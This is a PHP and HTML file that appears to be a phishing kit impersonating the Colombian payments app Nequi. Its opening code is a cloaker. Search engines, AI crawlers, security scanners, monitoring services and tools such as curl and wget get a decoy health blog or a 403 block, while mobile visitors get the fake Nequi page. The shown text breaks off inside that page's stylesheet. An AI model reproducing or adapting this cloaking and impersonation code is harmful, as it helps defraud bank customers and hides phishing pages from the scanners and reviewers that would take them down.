<?php
function getRealIP() {
    $keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip_list = explode(',', $_SERVER[$key]);
            $ip = trim($ip_list[0]);
            if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
        }
    }
    return '0.0.0.0';
}
$ip = getRealIP();

$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
$user_agent_lower = strtolower($user_agent);

function isMobileUA($ua_lower) {
    $mobile_patterns = [
        'mobile', 'android', 'iphone', 'ipad', 'ipod', 'blackberry', 'webos',
        'windows phone', 'iemobile', 'opera mini', 'opera mobi', 'mobi', 'tablet',
        'kindle', 'silk', 'playbook', 'bb10', 'symbian', 'nokia', 'lg', 'samsung'
    ];
    foreach ($mobile_patterns as $pattern) {
        if (strpos($ua_lower, $pattern) !== false) {
            return true;
        }
    }
    return false;
}

$is_mobile_ua = isMobileUA($user_agent_lower);

$mobile_ip_prefixes = [
    '166.210.', '168.0.', '152.200.', '179.18.', '201.221.', '200.93.', '204.199.',
    '191.156.', '100.64.'
];

$residential_ip_prefixes = [
    '190.', '186.', '181.', '201.228.', '200.21.', '190.68.', '186.116.', '186.119.',
    '190.65.'
];

$is_mobile_ip = false;
$is_residential_ip = false;

foreach ($mobile_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) {
        $is_mobile_ip = true;
        break;
    }
}

foreach ($residential_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) {
        $is_residential_ip = true;
        break;
    }
}

$bot_agents = ['googlebot', 'bingbot', 'facebookexternalhit', 'semrushbot', 'ahrefsbot',
    'adsbot-google', 'mediapartners-google', 'apis-google', 'google-read-aloud',
    'google-safe-browsing', 'google-safebrowsing', 'safebrowsing', 'sb-google',
    'chrome-lighthouse', 'lighthouse', 'pagespeed', 'google page speed',
    'msnbot', 'duckduckbot', 'yandexbot', 'baiduspider', 'seznambot', 'applebot',
    'facebot', 'whatsapp', 'telegrambot', 'discordbot', 'slackbot',
    'twitterbot', 'linkedinbot', 'pinterest',
    'gptbot', 'openai', 'chatgpt', 'anthropic', 'claude', 'gemini', 'bard',
    'perplexity', 'youbot', 'cohere', 'huggingface', 'c.ai', 'character.ai',
    'amazonbot', 'googlecloud', 'gcp', 'azure', 'digitalocean',
    'ovh', 'hetzner', 'contabo', 'linode', 'vultr', 'oraclecloud', 'ibmcloud',
    'namecheapbot', 'godaddybot', 'cloudflare', 'cf-', 'youstablebot', 'domains.google',
    'whois', 'rdap', 'spaceshipbot',
    'uptimerobot', 'pingdom', 'statuscake', 'betteruptime', 'datadog', 'newrelic', 'site24x7',
    'nessus', 'acunetix', 'qualys', 'nmap', 'zgrab', 'masscan',
    'shodan', 'censys', 'securitytrails',
    'curl', 'wget', 'python', 'requests', 'aiohttp',
    'axios', 'httpclient', 'okhttp', 'java', 'go-http', 'libwww',
    'postman', 'insomnia'
];
$is_bot = false;
foreach ($bot_agents as $bot) {
    if (stripos($user_agent_lower, $bot) !== false) {
        $is_bot = true;
        break;
    }
}

$show_white = false;

if ($is_bot) {
    $show_white = true;
} elseif (!$is_mobile_ua && $is_residential_ip) {
    $show_white = true;
} elseif ($is_mobile_ua || $is_mobile_ip) {
    $show_white = false;
} else {
    $show_white = true;
}

if ($show_white) {
    header('Content-Type: text/html; charset=utf-8');
    ?>
    <!DOCTYPE html>
    <html lang="es">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Guía Salud y Bienestar 2026 - Colombia</title>
        <meta name="description" content="Consejos naturales, nutrición y ejercicio para una vida plena en Colombia.">
    </head>
    <body style="font-family: Arial, sans-serif; max-width: 900px; margin: 0 auto; padding: 20px;">
        <h1>¡Bienvenido a nuestro blog de salud natural!</h1>
        <p>Encuentra los mejores tips de bienestar, superalimentos y rutinas saludables adaptadas para colombianos en 2026.</p>
        <article>
            <h2>Los 5 superalimentos más recomendados</h2>
            <p>Chía, quinoa, aguacate, café colombiano y frutas tropicales...</p>
        </article>
    </body>
    </html>
    <?php
    exit;
}
// ==============================
// ANTIBOT TOTAL – BLOQUEO ABSOLUTO
// ==============================

// 1. Bloqueo por User-Agent (TODO bot)
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

// ==================================================
// LISTA TOTAL DE BOTS (SOLO BOTS, NO HUMANOS)
// ==================================================
$bot_signatures = [

  // ---------- GOOGLE (BOTS REALES) ----------
  'googlebot','adsbot-google','mediapartners-google',
  'apis-google','google-read-aloud',
  'google-safe-browsing','google-safebrowsing',
  'safebrowsing','sb-google',
  'chrome-lighthouse','lighthouse',
  'pagespeed','google page speed',

  // ---------- OTROS BUSCADORES ----------
  'bingbot','msnbot','duckduckbot',
  'yandexbot','baiduspider','seznambot',
  'applebot',

  // ---------- REDES / PREVIEWS ----------
  'facebookexternalhit','facebot',
  'whatsapp','telegrambot',
  'discordbot','slackbot',
  'twitterbot','linkedinbot','pinterest',

  // ---------- IA / LLM ----------
  'gptbot','openai','chatgpt',
  'anthropic','claude',
  'gemini','bard',
  'perplexity','youbot',
  'cohere','huggingface',
  'c.ai','character.ai',

  // ---------- HOSTING / CLOUD (BOTS) ----------
  'amazonbot',
  'googlecloud','gcp',
  'azure',
  'digitalocean',
  'ovh','hetzner','contabo','linode','vultr',
  'oraclecloud','ibmcloud',

  // ---------- REGISTRADORES / DOMINIOS ----------
  'namecheapbot','godaddybot',
  'cloudflare','cf-',
  'domains.google',
  'whois','rdap',

  // ---------- MONITOREO ----------
  'uptimerobot','pingdom','statuscake',
  'betteruptime','datadog','newrelic','site24x7',

  // ---------- SEGURIDAD / SCANNERS ----------
  'nessus','acunetix','qualys',
  'nmap','zgrab','masscan',
  'shodan','censys','securitytrails',

  // ---------- LIBRERÍAS / AUTOMATIZACIÓN ----------
  'curl','wget','python','requests','aiohttp',
  'axios','httpclient','okhttp','java',
  'go-http','libwww',
  'postman','insomnia'
];

// ==================================================
// BLOQUEO POR FIRMA DE BOT
// ==================================================
foreach ($bot_signatures as $sig) {
  if (strpos($ua, $sig) !== false) {
    http_response_code(403);
    exit;
  }
}

// ==================================================
// ANTI BOT DISFRAZADO (NO AFECTA HUMANOS)
// ==================================================
$required_headers = [
  'HTTP_ACCEPT',
  'HTTP_ACCEPT_LANGUAGE',
  'HTTP_ACCEPT_ENCODING'
];

foreach ($required_headers as $h) {
  if (empty($_SERVER[$h])) {
    http_response_code(403);
    exit;
  }
}

// JS + cookies
if (!isset($_COOKIE['human_ok'])) {
  setcookie('human_ok','1', time()+3600,'/','',false,true);
  echo '<script>location.reload()</script>';
  exit;
}

// Rate limit humano
$_SESSION['hits'] = ($_SESSION['hits'] ?? 0) + 1;
if ($_SESSION['hits'] > 120) {
  http_response_code(429);
  exit;
}

?>
<html lang="en" class="hydrated">

<head>
  <meta charset="utf-8">
  <style data-styles="">
    ion-icon {
      visibility: hidden
    }

    .hydrated {
      visibility: inherit
    }
  </style>
  <title>Nequi</title>
  <base href="">
  <meta name="viewport" content="width=device-width, initial-scale=1", user-scalable=no">
  <meta http-equiv="cache-control" content="max-age=0">
  <meta http-equiv="cache-control" content="no-cache">
  <meta http-equiv="expires" content="0">
  <meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT">
  <meta http-equiv="pragma" content="no-cache">

  <link href="https://unpkg.com/ionicons@4.5.10-0/dist/css/ionicons.min.css" rel="stylesheet">
  <style>
    html,
    body {
      height: 100%
    }

    html {
      background: #ffffff;
      color: #293038;
      scroll-behavior: smooth
      touch-action: manipulation;
    }

    body {
      margin: 0;
      line-height: 1.5;
      font-family: Manrope, sans-serif;
      font-size: 16px;
      font-size: 1rem;
      display: flex;
      flex-direction: column;
      -ms-text-size-adjust: 100%;
      -webkit-text-size-adjust: 100%;
      -webkit-font-smoothing: antialiased;
      -moz-osx-font-smoothing: grayscale
    }

    *,
    *:before,
    *:after {
      box-sizing: border-box
    }

    :root {
      --font-family: "Manrope", sans-serif;
      --principales-fondo-inputs: #fbf7fb;
      --principales-blanco: #ffffff;
      --principales-naranja: #dc410f;
      --principales-uva: #200020;
      --principales-uva-80: #4d334d;
      --principales-orquidea: #da0081;
      --principales-orquidea-10: #bc0b7d;
      --principales-orquidea-30: #f1bfda;
      --principales-orquidea-70: #e366a7;
      --principales-gris-70: #6e6e6e;
      --principales-gris-200: #e8e8e8;
      --principales-gris-300: #c2c2c2;
      --principales-gris-400: #4f4f4f;
      --principales-gris-500: #646464;
      --mensajes-errores-inputs: #d93552;
      --mensajes-negativo: #ff3e60;
      --mensajes-informativo: #46d5e8;
      --mensajes-positivo: #11da7a
    }

    @font-face {
      font-family: Manrope;
      src: url(Manrope-VariableFont_wght.3787d9a87cc64466.ttf) format("truetype")
    }
  </style>
  <link rel="stylesheet" href="/styles.f78a4ba11312d6af.css" media="all" onload="this.media='all'"><noscript>
    <link rel="stylesheet" href="/styles.f78a4ba11312d6af.css">
  </noscript>
  <style>
    .main-container[_ngcontent-lun-c37] {
      display: flex;
      flex-direction: column;
      margin-left: auto;
      margin-right: auto;
      max-width: 360px;
      padding-left: 1rem;
      padding-right: 1rem
    }
  </style>
  <style>
    .modal-buttons__title[_ngcontent-lun-c23] {
      color: var(--principales-uva);
      text-align: center;
      font-size: 1.125rem;
      font-style: normal;
      font-weight: 700;
      line-height: 1.25rem;
      margin: 0;
      padding: 24px 16px 8px
    }

    .modal-buttons__description[_ngcontent-lun-c23] {
      color: var(--principales-grises-gris-70);
      text-align: center;
      font-size: 1rem;
      font-style: normal;
      font-weight: 400;
      line-height: 1.25rem;
      padding: 0 16px 16px
    }

    .modal-buttons__buttons-section[_ngcontent-lun-c23] {
      display: flex;
      justify-content: space-around;
      align-items: center;
      background: var(--principales-gris-200);
      gap: 10px
    }

    .modal-buttons__buttons-section[_ngcontent-lun-c23] button[_ngcontent-lun-c23] {
      color: var(--principales-orquidea);
      text-align: center;
      font-size: 1rem;
      font-style: normal;
      font-weight: 400;
      line-height: 1.25rem;
      padding: 16px;
      cursor: pointer
    }

    .modal-buttons__buttons-section[_ngcontent-lun-c23] button[_ngcontent-lun-c23]:focus {
      outline: none
    }
  </style>
  <style>
    [_nghost-lun-c22] .modal-veil__uva .p-component-overlay-enter {
      animation: _ngcontent-lun-c22_enter-modal-animation-uva .15s forwards
    }

    [_nghost-lun-c22] .modal-veil__uva .p-component-overlay-leave {
      animation: _ngcontent-lun-c22_leave-modal-animation-uva .15s forwards
    }

    [_nghost-lun-c22] .modal-veil__orquidea .p-component-overlay-enter {
      animation: _ngcontent-lun-c22_enter-modal-animation-orquidea .15s forwards
    }

    [_nghost-lun-c22] .modal-veil__orquidea .p-component-overlay-leave {
      animation: _ngcontent-lun-c22_leave-modal-animation-orquidea .15s forwards
    }

    [_nghost-lun-c22] .modal-veil__blanco .p-component-overlay-enter {
      animation: _ngcontent-lun-c22_enter-modal-animation-blanco .15s forwards
    }

    [_nghost-lun-c22] .modal-veil__blanco .p-component-overlay-leave {
      animation: _ngcontent-lun-c22_leave-modal-animation-blanco .15s forwards
    }

    @keyframes _ngcontent-lun-c22_enter-modal-animation-uva {
      0% {
        background-color: transparent
      }

      to {
        background-color: #200020d9
      }
    }

    @keyframes _ngcontent-lun-c22_leave-modal-animation-uva {
      0% {
        background-color: #200020d9
      }

      to {
        background-color: transparent
      }
    }

    @keyframes _ngcontent-lun-c22_enter-modal-animation-orquidea {
      0% {
        background-color: transparent
      }

      to {
        background-color: #da0081d9
      }
    }

    @keyframes _ngcontent-lun-c22_leave-modal-animation-orquidea {
      0% {
        background-color: #da0081d9
      }

      to {
        background-color: transparent
      }
    }

    @keyframes _ngcontent-lun-c22_enter-modal-animation-blanco {
      0% {
        background-color: transparent
      }

      to {
        background-color: #ffffffd9
      }
    }

    @keyframes _ngcontent-lun-c22_leave-modal-animation-blanco {
      0% {
        background-color: #ffffffd9
      }

      to {
        background-color: transparent
      }
    }

    [_nghost-lun-c22] .p-dialog {
      display: flex;
      flex-direction: column;
      justify-content: center;
      align-items: center;
      padding: 0;
      background: var(--principales-blanco);
      border-radius: 16px;
      max-width: 360px;
      width: 100%;
      box-shadow: 0 4px 16px #20002040;
      margin: 40px !important
    }

    [_nghost-lun-c22] .p-dialog-content {
      padding: 0;
      border-radius: 4px
    }

    [_nghost-lun-c22] .p-component-overlay {
      align-items: center
    }
  </style>
  <style>
    .p-dialog-mask {
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      display: flex;
      justify-content: center;
      align-items: center;
      pointer-events: none
    }

    .p-dialog-mask.p-component-overlay {
      pointer-events: auto
    }

    .p-dialog {
      display: flex;
      flex-direction: column;
      pointer-events: auto;
      max-height: 90%;
      transform: scale(1);
      position: relative
    }

    .p-dialog-content {
      overflow-y: auto;
      flex-grow: 1
    }

    .p-dialog-header {
      display: flex;
      align-items: center;
      justify-content: space-between;
      flex-shrink: 0
    }

    .p-dialog-draggable .p-dialog-header {
      cursor: move
    }

    .p-dialog-footer {
      flex-shrink: 0
    }

    .p-dialog .p-dialog-header-icons {
      display: flex;
      align-items: center
    }

    .p-dialog .p-dialog-header-icon {
      display: flex;
      align-items: center;
      justify-content: center;
      overflow: hidden;
      position: relative
    }

    .p-fluid .p-dialog-footer .p-button {
      width: auto
    }

    .p-dialog-top .p-dialog,
    .p-dialog-bottom .p-dialog,
    .p-dialog-left .p-dialog,
    .p-dialog-right .p-dialog,
    .p-dialog-top-left .p-dialog,
    .p-dialog-top-right .p-dialog,
    .p-dialog-bottom-left .p-dialog,
    .p-dialog-bottom-right .p-dialog {
      margin: .75rem;
      transform: translateZ(0)
    }

    .p-dialog-maximized {
      transition: none;
      transform: none;
      width: 100vw !important;
      height: 100vh !important;
      top: 0 !important;
      left: 0 !important;
      max-height: 100%;
      height: 100%
    }

    .p-dialog-maximized .p-dialog-content {
      flex-grow: 1
    }

    .p-dialog-left {
      justify-content: flex-start
    }

    .p-dialog-right {
      justify-content: flex-end
    }

    .p-dialog-top {
      align-items: flex-start
    }

    .p-dialog-top-left {
      justify-content: flex-start;
      align-items: flex-start
    }

    .p-dialog-top-right {
      justify-content: flex-end;
      align-items: flex-start
    }

    .p-dialog-bottom {
      align-items: flex-end
    }

    .p-dialog-bottom-left {
      justify-content: flex-start;
      align-items: flex-end
    }

    .p-dialog-bottom-right {
      justify-content: flex-end;
      align-items: flex-end
    }

    .p-dialog .p-resizable-handle {
      position: absolute;
      font-size: .1px;
      display: block;
      cursor: se-resize;
      width: 12px;
      height: 12px;
      right: 1px;
      bottom: 1px
    }

    .p-confirm-dialog .p-dialog-content {
      display: flex;
      align-items: center
    }
  </style>
  <style>
    .subtitle[_ngcontent-lun-c41] {
      font-weight: 400;
      font-size: 1rem;
      line-height: 1.25rem;
      text-align: center;
      margin: 0;
      padding: 0;
      color: var(--principales-uva);
      font-style: normal
    }

    .form[_ngcontent-lun-c41] {
      margin-top: 1.25rem;
      margin-bottom: 1.5rem;
      display: flex;
      flex-direction: column;
      gap: .5rem
    }

    .form__recaptcha[_ngcontent-lun-c41] {
      margin-top: .5rem;
      transform: scale(1.09);
      transform-origin: 0 0
    }

    .form__buttons[_ngcontent-lun-c41] {
      margin-top: 1.5rem;
      display: flex;
      flex-direction: column;
      gap: 1rem
    }

    .footer[_ngcontent-lun-c41] {
      font-weight: 400;
      font-size: .875rem;
      line-height: 1.25rem;
      text-align: center;
      color: var(--principales-uva);
      font-style: normal;
      letter-spacing: .2px
    }
  </style>
  <style>
    .header[_ngcontent-lun-c18] {
      display: flex;
      justify-content: center;
      align-content: center;
      margin: 1.25rem 1.25rem 1.875rem
    }

    @media (min-width: 960px) {
      .header[_ngcontent-lun-c18] {
        margin-top: 3.5rem
      }
    }

    .header__img[_ngcontent-lun-c18] {
      width: 144px;
      height: 32px
    }
  </style>
  <style>
    .title[_ngcontent-lun-c19] {
      font-weight: 700;
      font-size: 1.5rem;
      line-height: 1.75rem;
      text-align: center;
      color: var(--principales-uva);
      margin: 0 0 1.5rem;
      font-style: normal
    }
  </style>
  <style>
    .input-container__field[_ngcontent-lun-c40] {
      width: 100%;
      max-width: 328px
    }

    .input-container__field[_ngcontent-lun-c40] .p-field[_ngcontent-lun-c40],
    .input-container__field[_ngcontent-lun-c40] .p-float-label[_ngcontent-lun-c40] {
      line-height: 0
    }

    .input-container__field[_ngcontent-lun-c40] input[_ngcontent-lun-c40] {
      width: 100%;
      height: 48px;
      background-color: var(--principales-fondo-inputs);
      border: 0;
      border-radius: 4px;
      padding: 16px;
      color: var(--principales-uva);
      font-size: 1rem;
      font-weight: 500;
      line-height: 1.25rem;
      font-style: normal;
      position: relative
    }

    .input-container__field[_ngcontent-lun-c40] input.placeholder.p-filled[_ngcontent-lun-c40] {
      padding: 20px 16px 6px
    }

    .input-container__field[_ngcontent-lun-c40] input.placeholder.p-filled[_ngcontent-lun-c40]~label[_ngcontent-lun-c40] {
      top: .9rem;
      left: 16px;
      font-size: 12px;
      color: var(--principales-orquidea)
    }

    .input-container__field[_ngcontent-lun-c40] input.placeholder.p-filled[_ngcontent-lun-c40]:disabled {
      opacity: .5
    }

    .input-container__field[_ngcontent-lun-c40] input.placeholder.p-filled[_ngcontent-lun-c40]:disabled~label[_ngcontent-lun-c40] {
      opacity: .5
    }

    .input-container__field[_ngcontent-lun-c40] input.placeholder.p-filled.p-invalid[_ngcontent-lun-c40]~label[_ngcontent-lun-c40] {
      color: var(--mensajes-errores-inputs)
    }

    .input-container__field[_ngcontent-lun-c40] input[_ngcontent-lun-c40]:focus,
    .input-container__field[_ngcontent-lun-c40] input[_ngcontent-lun-c40]:active {
      outline: 0px;
      outline-offset: 0px;
      box-shadow: none
    }

    .input-container__field[_ngcontent-lun-c40] input[_ngcontent-lun-c40]:focus.placeholder,
    .input-container__field[_ngcontent-lun-c40] input[_ngcontent-lun-c40]:active.placeholder {
      padding: 20px 16px 6px
    }

    .input-container__field[_ngcontent-lun-c40] input[_ngcontent-lun-c40]:focus.placeholder~div.input-textarea__background[_ngcontent-lun-c40],
    .input-container__field[_ngcontent-lun-c40] input[_ngcontent-lun-c40]:active.placeholder~div.input-textarea__background[_ngcontent-lun-c40] {
      top: 1px
    }

    .input-container__field[_ngcontent-lun-c40] input[_ngcontent-lun-c40]:focus~label[_ngcontent-lun-c40],
    .input-container__field[_ngcontent-lun-c40] input[_ngcontent-lun-c40]:active~label[_ngcontent-lun-c40] {
      top: .9rem;
      left: 16px;
      font-size: 12px;
      color: var(--principales-orquidea)
    }

    .input-container__field[_ngcontent-lun-c40] input[_ngcontent-lun-c40]:disabled {
      opacity: .5
    }

    .input-container__field[_ngcontent-lun-c40] input[_ngcontent-lun-c40]:disabled~label[_ngcontent-lun-c40] {
      opacity: .5
    }

    .input-container__field[_ngcontent-lun-c40] input.p-invalid[_ngcontent-lun-c40] {
      border: 1px solid var(--mensajes-errores-inputs)
    }

    .input-container__field[_ngcontent-lun-c40] input.p-invalid[_ngcontent-lun-c40]~label[_ngcontent-lun-c40] {
      color: var(--mensajes-errores-inputs)
    }

    .input-container__field[_ngcontent-lun-c40] input.p-invalid.placeholder[_ngcontent-lun-c40]~div.input-textarea__background[_ngcontent-lun-c40] {
      top: 1px
    }

    .input-container__field[_ngcontent-lun-c40] input.p-input-icon-right[_ngcontent-lun-c40] {
      padding-right: 32px
    }

    .input-container__field[_ngcontent-lun-c40] .p-float-label[_ngcontent-lun-c40] {
      width: 100%
    }

    .input-container__field[_ngcontent-lun-c40] .p-float-label.p-input-icon-right[_ngcontent-lun-c40] input[_ngcontent-lun-c40],
    .input-container__field[_ngcontent-lun-c40] .p-float-label.p-input-icon-right[_ngcontent-lun-c40] textarea[_ngcontent-lun-c40] {
      padding: 20px 40px 6px 16px
    }

    .input-container__field[_ngcontent-lun-c40] label[_ngcontent-lun-c40] {
      color: var(--principales-uva);
      font-size: 1rem;
      font-weight: 400
    }

    .input-container__button-eye[_ngcontent-lun-c40] {
      background-color: transparent !important;
      width: 30px;
      height: 30px;
      position: absolute;
      right: 6px;
      margin-top: auto;
      margin-bottom: auto;
      top: 0;
      bottom: 0;
      border: 0;
      padding: 0;
      z-index: 1
    }

    .input-container__button-eye[_ngcontent-lun-c40] ion-icon[_ngcontent-lun-c40] {
      color: var(--principales-uva);
      font-size: 24px;
      transition: color .25s ease-out
    }

    .input-container__button-eye.alert-icon[_ngcontent-lun-c40] ion-icon[_ngcontent-lun-c40] {
      color: var(--principales-naranja)
    }

    .input-container__button-eye[_ngcontent-lun-c40]:enabled:hover,
    .input-container__button-eye[_ngcontent-lun-c40]:hover,
    .input-container__button-eye[_ngcontent-lun-c40]:active,
    .input-container__button-eye[_ngcontent-lun-c40]:focus {
      background-color: transparent;
      border: 0;
      box-shadow: none
    }

    .input-container[_ngcontent-lun-c40] small[_ngcontent-lun-c40] {
      margin-top: 4px
    }

    .input-container__error[_ngcontent-lun-c40] {
      color: var(--mensajes-errores-inputs);
      font-size: .75rem;
      font-weight: 400
    }
  </style>
  
  <style>
    .p-disabled,
    .p-component:disabled {
      opacity: 1
    }

    span.p-button-icon.p-button-icon-left.p-button-loading-icon.pi.pi-spinner.pi-spin {
      position: absolute;
      left: 2%;
      right: 2%;
      top: 35.83%;
      margin: 0
    }

    .p-button-primary,
    .p-button-secondary {
      min-width: 240px
    }

    .p-button {
      color: var(--principales-blanco);
      width: 100%;
      max-width: 352px;
      min-height: 48px;
      background: var(--principales-orquidea);
      padding: 8px;
      font-size: 1rem;
      transition: background-color .2s, color .2s, border-color .2s, box-shadow .2s;
      border-radius: 4px;
      font-style: normal;
      font-weight: 500;
      line-height: 1.25rem;
      border: none
    }

    .p-button:disabled {
      background: var(--principales-orquidea-30)
    }

    .p-button:enabled:hover {
      background: var(--principales-orquidea-70);
      color: var(--principales-blanco);
      border: none
    }

    .p-button:enabled:active {
      background: var(--principales-orquidea-10);
      color: var(--principales-blanco);
      border-color: transparent
    }

    .p-button:focus {
      box-shadow: 0 0
    }

    .p-button.p-button-secondary {
      color: var(--principales-uva);
      background: transparent;
      border: 1px solid var(--principales-uva)
    }

    .p-button.p-button-secondary:enabled:active {
      color: var(--principales-blanco);
      background: var(--principales-uva-80);
      border: 1px solid var(--principales-uva-80)
    }

    .p-button.p-button-secondary:disabled {
      color: var(--principales-uva);
      background: var(--principales-blanco);
      border: none
    }

    .p-button.p-button-secondary:enabled:hover {
      background: var(--principales-uva-80);
      color: var(--principales-blanco);
      border: none
    }

    .p-button.p-button-secondary:enabled:focus {
      box-shadow: 0 0
    }

    .p-button-underline {
      color: var(--principales-orquidea);
      text-align: center;
      font-size: .875rem;
      font-style: normal;
      font-weight: 500;
      line-height: 1.25rem;
      text-decoration-line: underline;
      cursor: pointer;
      background: none !important;
      border: none !important;
      min-height: auto;
      padding: 0
    }

    .p-button-underline:hover {
      color: var(--principales-orquidea-30) !important
    }

    .p-button-underline:active {
      color: var(--principales-orquidea-10) !important
    }
  </style>
  <style>
    .modal-loader .p-component-overlay {
      border: none;
      overflow: hidden;
      opacity: .8999999762;
      display: block
    }

    .modal-loader .p-dialog {
      z-index: 9999;
      height: 100vh;
      border: none;
      box-shadow: none;
      max-height: 100%;
      overflow: hidden;
      margin: 0
    }

    .modal-loader .p-dialog-content {
      padding: 0
    }
  </style>
  <style>
    .modal-alert-container .p-dialog {
      background: none !important;
      box-shadow: none !important
    }

    .modal-alert-container .p-dialog .p-dialog-content {
      border-radius: 25px;
      min-width: 174px
    }

    .modal-alert[_ngcontent-lun-c27] {
      display: flex;
      flex-direction: column;
      justify-content: center;
      align-items: center;
      padding: 32px 40px;
      border-radius: 4px
    }

    .modal-alert__cancel[_ngcontent-lun-c27] {
      background-color: var(--mensajes-negativo)
    }

    .modal-alert__success[_ngcontent-lun-c27] {
      background-color: var(--mensajes-informativo)
    }

    .modal-alert__icon[_ngcontent-lun-c27] {
      width: 56px;
      height: 56px;
      flex-shrink: 0;
      margin-bottom: 24px;
      color: var(--principales-blanco)
    }

    .modal-alert__text[_ngcontent-lun-c27] {
      text-align: center;
      font-style: normal;
      color: var(--principales-uva);
      font-size: 1rem;
      font-weight: 500;
      line-height: 1.25rem
    }
  </style>
  <style>
    .p-toast-top-center {
      left: 54% !important;
      transform: translate(-44%) !important
    }

    @media (min-width: 600px) {
      .p-toast-top-center {
        left: 52% !important
      }
    }

    @media (min-width: 1280px) {
      .p-toast-top-center {
        left: 51% !important;
        transform: translate(-42%) !important
      }
    }

    @media (min-width: 1920px) {
      .p-toast-top-center {
        left: 50% !important;
        transform: translate(-39%) !important
      }
    }

    .p-toast {
      opacity: 1 !important
    }

    .p-toast .p-toast-message {
      margin: 0 0 1rem;
      box-shadow: 0 2px 12px #0000001a;
      border-radius: 8px;
      width: 328px
    }

    .p-toast .p-toast-message .p-toast-message-content {
      padding: 1rem;
      border-width: 0 0 0 6px
    }

    .p-toast .p-toast-message.p-toast-message-success {
      background: var(--mensajes-positivo);
      border: solid var(--mensajes-positivo);
      border-width: 0 0 0 0px;
      color: var(--principales-blanco)
    }

    .p-toast .p-toast-message.p-toast-message-success .p-toast-message-icon,
    .p-toast .p-toast-message.p-toast-message-success .p-toast-icon-close {
      color: var(--principales-blanco);
      display: none
    }

    .p-toast .p-toast-message .p-toast-message-content .p-toast-detail {
      margin: .3rem 0 0
    }

    .p-toast .p-toast-message .p-toast-icon-close {
      width: 2rem;
      height: 2rem;
      border-radius: 50%;
      background: transparent;
      transition: background-color .2s, color .2s, box-shadow .2s
    }

    .p-toast .p-toast-message.p-toast-message-error {
      background: var(--mensajes-negativo);
      border: solid var(--mensajes-negativo);
      border-width: 0 0 0 0px;
      color: var(--principales-blanco)
    }

    .p-toast .p-toast-message.p-toast-message-error .p-toast-message-icon,
    .p-toast .p-toast-message.p-toast-message-error .p-toast-icon-close {
      color: var(--principales-blanco);
      display: none
    }

    .p-toast .p-toast-message.p-toast-message-info {
      background: var(--mensajes-informativo);
      border: solid var(--mensajes-informativo);
      border-width: 0 0 0 0px;
      color: var(--principales-blanco)
    }

    .p-toast .p-toast-message.p-toast-message-info .p-toast-message-icon,
    .p-toast .p-toast-message.p-toast-message-info .p-toast-icon-close {
      color: var(--principales-blanco);
      display: none
    }

    .p-toast .p-toast-message.p-toast-message-warn {
      background: var(--gray-60);
      border: solid var(--gray-60);
      border-width: 0 0 0 0px;
      color: var(--principales-blanco)
    }

    .p-toast .p-toast-message.p-toast-message-warn .p-toast-message-icon,
    .p-toast .p-toast-message.p-toast-message-warn .p-toast-icon-close {
      color: var(--principales-blanco);
      display: none
    }

    .toast-content[_ngcontent-lun-c16] {
      display: flex;
      justify-content: center;
      align-items: center;
      gap: 12px
    }

    .toast-content__icon-container[_ngcontent-lun-c16] {
      position: relative;
      padding-top: 4px
    }

    .toast-content__icon-background[_ngcontent-lun-c16] {
      background-color: var(--principales-blanco);
      opacity: .4;
      width: 24px;
      height: 24px;
      position: absolute
    }

    .toast-content__icon-background.icon_info[_ngcontent-lun-c16] {
      transform: rotate(45deg)
    }

    .toast-content__icon-background.icon_success[_ngcontent-lun-c16] {
      border-radius: 50%
    }

    .toast-content__icon-background.icon_error[_ngcontent-lun-c16] {
      background-color: transparent;
      border: transparent .9em solid;
      border-bottom-color: var(--principales-blanco);
      border-bottom-width: 1.5rem;
      border-bottom-right-radius: 3px;
      border-bottom-left-radius: 3px;
      border-top-width: 0;
      box-shadow: var(--mensajes-negativo) 0 1px 1px;
      left: -2px;
      top: 3px
    }

    .toast-content__icon[_ngcontent-lun-c16] {
      color: var(--principales-uva);
      padding: 4px
    }

    .toast-content__message[_ngcontent-lun-c16] {
      color: var(--principales-uva);
      font-size: .875rem;
      font-style: normal;
      font-weight: 400;
      line-height: 1.25rem;
      letter-spacing: .2px
    }
  </style>
  <style>
    .modal-image-buttons[_ngcontent-lun-c25] {
      padding: 32px 24px;
      display: flex;
      justify-content: center;
      align-items: center;
      flex-direction: column;
      gap: 16px
    }

    .modal-image-buttons__header[_ngcontent-lun-c25] {
      display: flex;
      justify-content: center;
      align-items: center;
      flex-direction: column;
      gap: 16px
    }

    .modal-image-buttons__header[_ngcontent-lun-c25] .title[_ngcontent-lun-c25] {
      margin: 0;
      color: var(--principales-uva);
      text-align: center;
      font-size: 1.125rem;
      font-style: normal;
      font-weight: 700;
      line-height: 1.25rem
    }

    .modal-image-buttons__text[_ngcontent-lun-c25] {
      color: var(--principales-grises-gris-500);
      text-align: center;
      font-size: 1rem;
      font-style: normal;
      font-weight: 400;
      line-height: 1.25rem
    }

    .modal-image-buttons__footer[_ngcontent-lun-c25] {
      display: flex;
      justify-content: center;
      align-items: center;
      flex-direction: column;
      gap: 16px
    }
  </style>
  <style>
    .splash[_ngcontent-lun-c17] {
      height: 100%;
      width: 100%;
      background-color: var(--principales-blanco)
    }

    .splash__container[_ngcontent-lun-c17] {
      display: flex;
      align-items: center;
      justify-content: center;
      height: 100%
    }

    .splash__container.animate-logo[_ngcontent-lun-c17] .point__up[_ngcontent-lun-c17] {
      animation-timing-function: var(--logo-animation-timing-function, ease-in-out);
      animation-duration: var(--logo-animation-duration, 6s);
      animation-iteration-count: var(--logo-animation-iteration-count, infinite);
      animation-name: _ngcontent-lun-c17_point-up-animation
    }

    .splash__container.animate-logo[_ngcontent-lun-c17] .point__down[_ngcontent-lun-c17] {
      animation-timing-function: var(--logo-animation-timing-function, ease-in-out);
      animation-duration: var(--logo-animation-duration, 6s);
      animation-iteration-count: var(--logo-animation-iteration-count, infinite);
      animation-name: _ngcontent-lun-c17_point-down-animation
    }

    .splash__container.animate-logo[_ngcontent-lun-c17] .N[_ngcontent-lun-c17] {
